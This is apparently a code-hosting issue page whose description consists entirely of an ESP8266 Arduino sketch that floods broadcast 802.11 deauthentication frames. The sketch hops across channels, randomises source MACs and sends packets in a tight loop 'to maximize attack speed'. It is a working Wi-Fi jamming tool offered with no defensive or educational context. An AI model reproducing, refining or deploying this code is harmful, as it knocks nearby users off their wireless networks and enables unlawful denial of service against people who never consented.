-
Notifications
You must be signed in to change notification settings - Fork 74
Description
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
// Deauthentication frame structure (26 bytes)
uint8_t deauthPacket[26] = {
0xc0, 0x00, // Frame Control (Deauthentication)
0x3a, 0x01, // Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination MAC (Broadcast)
0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // Source MAC (Fake MAC)
0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // BSSID (Target AP)
0x00, 0x00, // Sequence Number
0x07, 0x00 // Reason Code (Class 3 frame received from nonassociated STA)
};
void setup() {
wifi_set_opmode(STATION_MODE); // Set ESP8266 to Station mode
wifi_promiscuous_enable(1); // Enable raw packet sending
}
void loop() {
uint8_t channel = random(1, 12); // Random Wi-Fi channel (1-11)
wifi_set_channel(channel); // Change channel dynamically
// Randomize MAC addresses
for (int i = 10; i < 16; i++) {
deauthPacket[i] = random(256);
}
// Send deauth packets multiple times per loop
for (int i = 0; i < 3; i++) {
wifi_send_pkt_freedom(deauthPacket, 26, 0);
}
delay(1); // Minimal delay to maximize attack speed
}